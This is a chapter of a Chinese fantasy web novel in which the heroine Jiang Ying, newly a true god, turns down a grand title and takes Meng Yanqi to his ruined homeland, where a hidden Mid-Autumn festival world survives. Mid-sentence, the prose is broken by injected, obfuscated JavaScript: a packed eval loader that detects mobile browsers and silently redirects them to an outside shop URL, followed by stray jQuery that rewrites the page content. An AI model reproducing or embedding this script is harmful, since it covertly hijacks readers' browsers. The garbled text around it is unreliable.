95. 飘荡在故乡之外的圆月
作品:《住手!别买盗版游戏[反穿]》 如果秋娥陛下的灵魂没有被穹天上神囚禁,那她会在哪里呢?
三十三重天之上,小山神们飞扑到逐蜚泽的妖兽身上,在姜萤从幻境牢笼回来之前,就一起又隐入了雾气弥漫的山林之间。
焚川的鬼魂们也再次没入红色的河流之中。
他们知道新生的真神有太多的烫手山药要处理,那些叙旧与告别,还要再过一段时间。
于是当姜萤再次踏上三十三重天,在那里等着她的,除了孟延祈,就只剩七十二仙——
“……干嘛?”
姜萤被金仙们团团围住。
她望着一群翘首以盼伸长了脖子等她,一看就没什么好事的金仙们,完全脱不开身。
“姜……啊不,真神,您是厚巫之地几万年来第一位真正成神的存在,小仙们想确认您的尊号,昭告天地众生。”
赤膊大仙言语之中,居然有几份扭捏。
“然后呢?”
姜萤感觉这群金仙似乎是很怕她秋后算账,企图用谄媚的态度和貌似高涨的事业心逃过一劫。
但赤膊大仙显然会错了姜萤的意思:“然后……噢噢噢!然后就是三十三重天不可一日无主,您的登位大典当然是越快越好,要隆重!要做这几万年来最隆重的典礼!”
“对,对!”
“真神出生于异世界,是否更喜欢那边的生活?小仙们再找几个像姜青渺那样可以穿越异界的同僚,把那边所有的好东西都搬过来,把您的父母上仙也请来,可好?”
还直接给她父母封上仙了?
懒得听这群金仙私下是如何相互心念传音开小会的,几波眼神碰撞之间,姜萤只听见他们瞪向那个提议的金仙,眼珠子都快擦出火星——
【说什么姜青渺!你这不是往真神伤口上撒盐!】
姜萤抬了抬手,打断他们脑海里的叽里呱啦:“打住,打住,本人没有尊号,也不必昭告天地众生。”
她生,天地已知。
她死,魂归众生。
森林里某只萤火虫的一生而已,何须广而告知?
“啊?”
金仙们傻眼了:“没有尊号,他人如何知晓您统御诸天?下界凡人如何感念您的名号?”
“真神,这于理不合啊。”
赤膊大仙也言辞恳切,“定下尊号只是最基本的事,三十三重天需要修缮,金仙们的职务需要调配,还有很多事等着您定夺呢。”
“是啊,天底沼泽的监狱被撞坏了,好像有囚犯逃跑了……”
有金仙附和道。
“这些事,你们不会干吗?去修房子,去抓逃犯,去下界巡逻看哪里受灾需要帮助,还得要我安排好才行吗?”
“你们不想将功补过了吗?”
姜萤咧开嘴,笑得像无情的资本家:“我不会像穹天一样坐在这当那种像皇帝一样的神,也不会凡事都帮你们拿主意。在三十三重天享了那么多年福,该干点事儿了。”
她的表情阴恻恻,“干不好,就给我到地狱里转生受刑。”
姜萤不懂一个天庭集团要怎么运作,她也不想当董事长。但这个世上有种东西叫纪检办,她的眼睛就是尺!
“您不带领我们,给我们制定方略,我们怎么做?”
赤膊大仙傻眼了,七十二仙傻眼了,就连天宫外围候着的无数仙娥仙官,也全傻眼了。
“难道你们不想知道如何成为真神吗?”
眼见金仙们黏黏糊糊,姜萤甩出一个重磅炸弹:“人人皆可成神,只要真正地去做造福一方的事。”
“真、真的吗?!”
众仙被她这句话创得七荤八素,先是瞳孔震惊,然后眼睛里倏然燃起金光。
他们这些在仙位上裹足不前几千几百年的人,有朝一日,也能成神?还是真神?
“当然。”姜萤说,“我这样连仙都没修过的人都能成,你们怎么不能?”
她补充道:“不过要是想成事,就好好发挥主观能动性啊!难道还像原来一样换个领导神就继续尸位素餐戳一下动一下?天底下哪有那么好的事。”
虽然姜萤也清楚,这群七荤八素没主心骨的金仙,确实得有个人给他们扶着路、护着航,但她现在实在是有些没有头绪。
“可!可是……”
“真神,您不能丢下我们啊……您通晓天地智慧,没有您的带领,我们实在是很多事想不明白怎么干啊!”
众仙泪奔,当了那么多年下属,一朝没了领头人,自己根本支棱不起来。
姜萤被他们念烦了,她挤开金仙们,牵起一旁面容依旧冷峻的大魔王,威胁道:“你们没看到魔尊等着我吗?再念,他要生气了。”
“……”
果然,看见眼底阴沉得要死的魔尊,金仙们一个二个乖乖闭了嘴。
果然,人长得凶有时候也不是坏事。
姜萤捏捏孟延祈指骨分明的大手,“是不是等了我好一会儿?”
虽然幻境囚牢里哪怕过去几千年也不过是一瞬间,但姜萤还是在路上耽搁了些时间。
她透过金仙们,看见孟延祈的目光始终落在她身上,眉头就没松开过。
他好像很是期盼秋娥陛下的行踪,却又不敢开口问,只能站在那里,静静地等。
“……没有等。”
但是等这个字似乎触及到孟延祈的某种PTSD,尤其是在他情绪不佳的时候,特别地不愿意承认。
他只是握住姜萤的手,然后缓缓地把她的整个手都包裹在自己的掌心之下。
似乎这样,才能让他感觉到某种安全。
“好好好,没有等。”
原本想要调侃孟延祈两句的姜萤感受到手传来的那种分外不舍的力道,她愣了一瞬,就轻笑着踮起脚尖。
她把孟延祈额头上一缕不听话的碎发拨开,“走吧,我们去找秋娥陛下。”
“你知道她在哪里了?”
“当然。”
“可这里还有好多事等着你处理。”
“但现在,最重要的是秋娥陛下。”
说话间,两人越走越远,只剩一群金仙在原地大眼瞪小眼。
赤膊大仙不死心地喊:“真神,您的尊号!……您不选,只能我们帮您定了!”
“那就叫我——姜工!”
姜萤头也不回地喊道。
打工人小姜,要朝天地响亮地喊出自己的名号。
*
姜萤和孟延祈在风里走了没多久,就到达了目的地。
他们穿过焚川的红雾,一路向东,朝着曾经的烛国奔去——
是的,曾经。
现在的厚巫之地已经全然被耀国侵吞,实现了某种意义上的“统一”。
孟延祈似乎意识到了他们要去哪里,还没有走到曾经的烛国皇城,他就顿住了脚步,他停在那里,望着皇城的方向,久久不语。
或许人总是近乡情怯。
他迈不开脚步,开不了口。
姜萤和孟延祈并肩站在空荡荡的月光之下,望向他的故乡。
她能感受此刻孟延祈心中的千回百转。一个战败的将军,认定自己辜负了母亲和百姓,他多渴望回家,却又不敢去想,去看。
他们站了很久,久到就连星星都渐渐闪烁不动光辉。
等到夜色沉入最低点,姜萤才开口道:“秋娥陛下,真的很厉害。”
“什么?”
孟延祈转头,注视着姜萤。
“我们以为她被穹天困住了,可穹天根本就不知道她在哪里。”
“不,或许他知道,但他找不到她。”
姜萤说,“我一直在想,什么方法能让穹天完全找不到她?然后,我就想到了烛国祖先曾经留下的那道秘法。”
她曾经在王妪的记忆里看见过,秋娥陛下曾在深夜向孟延祈揭穿穹天上神的虚伪。
神的沿线遍布天下,只要有人谈论他的名字,他就能知道一切。
可是秋娥陛下和孟延祈的谈话,穹天上神并没有听到。
那道可以屏蔽神念感知,隐蔽自身存在的秘法,就藏在秋娥陛下的书房里。
姜萤猜测,秋娥陛下十有八九就是用那道秘法藏起了自身的踪迹。
而这个猜测在她越接近皇城的时候,越笃定——
这里方圆百里内,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343390|178251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月光之下,没有丝毫生机,别说野草,就连小虫子都没有一只。
究竟是当初耀国太心狠手辣杀得什么也不剩,让这里八百年寸草不生,还是秋娥陛下利用那道秘法,庇护了其中的生灵,把大家藏到了别的地方去?
姜萤觉得,是后者。
她神魂里属于真神的感知,能触到皇城深处一层薄薄的、却连穹天的神念都穿不透的屏障。
“你的意思是……”
孟延祈眼神一颤。
他和姜萤心意相通,怎么会不知道姜萤话里的含义?
难道烛国还保有它曾经的臣民,难道他的母亲,还活着?!
但姜萤不语,真神们说起秋娥陛下时,说的是,“灵魂”。
她不敢想得太好,但又觉得,应该不会太差——
“走吧。”
姜萤牵住孟延祈的手,带他向着真相进发:“总要去的,我陪着你。”
这一次,孟延祈眼中的光亮不再像被人用石头狠砸的湖水那般颤动,他深深呼吸:“嗯。”
一路上,满是断壁残垣。
果然,这里已经不是逐风将军记忆中的模样。烛国皇城,早已是一片废墟。
姜萤和孟延祈走在被尘土压塌的街道之上。
姜萤踏过弯弯的石桥,瞥见干涸的河道,
她猛然记起,这个地方,她来过的。
魔尊创造的灵墟大陆幻境,本就是烛国皇城的模样。这座小桥的另一边,是那条中秋热闹的市集。
她在这里给幻境里的金茄和银藕买过兔子面具,和孟延祈一起吃过炙肉。
甚至就是在这座桥上,她拒绝了孟延祈留在幻境里的“陷阱”,让魔尊第一次露出了他的真面目。
想起那时的人声鼎沸,彩灯飘然。姜萤忍不住笑了笑,却又泛起苦涩——
那样好的景色,再也见不到了。
连她都生出很多不舍,更何况孟延祈?
姜萤侧过脸,看见孟延祈垂下眼睫,把手放到残破的砖瓦上,任由粗糙的砖石破面滑过他的指腹。
而另一侧,孟延祈指尖抚过石桥被风雨磨平的纹路,和记忆里分毫不差的触感。他的喉结无声滚了滚,却没说出一个字
“你……”
就在姜萤准备说点什么的时候,两人周遭的空气却开始扭曲,发出轻微的咔呲咔呲声——
就像是信号不好的电视终于找到了对的频道,而那根穿越迷障的天线,不过是孟延祈浓缩了八百年的思念。
“哗啦!”
绚烂的烟火在两人眼前炸开。
不过是一瞬间,他们就从灰暗腐朽的残破砖瓦里,去到了那条热闹的街。
人潮汹涌,无数被火光映照的幸福脸孔在他们身边来来去去。
不远处的酒楼座无虚席,商铺里的东西堆得满满当当。老板一边在门口接待着客人,一边接过店小二递过来的茶,润润口干无比的嗓子。
“这、这里……”
即使预料到可能会存在另一番天地,但这片小世界的热闹鲜活也让姜萤瞠目结舌。
“是中秋。”
孟延祈望着酒楼外摆出来的圆糕,看见远处的兔子花灯。他笑起来,笑得就连酒窝都沾满了空气中的甜蜜:“是烛国的中秋。”
那轮飘荡在故乡之外的圆月,终于又回到了家。
就在这时,人群一阵骚乱。
有人大声高喊着:“快去城墙啊,秋娥陛下要给大家发银瓜子啦!”
“哗!”
一瞬间,人们就开始往城墙涌去。但人们兴高采烈地,说的不是银瓜子,而是发银瓜子的人——
“终于又等到陛下了!上次陛下游街的车撵路过,她还夸我的发型好看呢。”
“这难道就是你一整年没有换过发型的原因吗?”
“快快,小阿狗。”
“咱们快去占位置!多亏陛下派了大夫给大家看病,不然你的痨病哪里能好?”
姜萤听着,抓着孟延祈就跟着人群挤了过去。她眼眶发热,眉眼俱笑——
“快快,小阿孟。”
“你要见到你阿娘啦!”

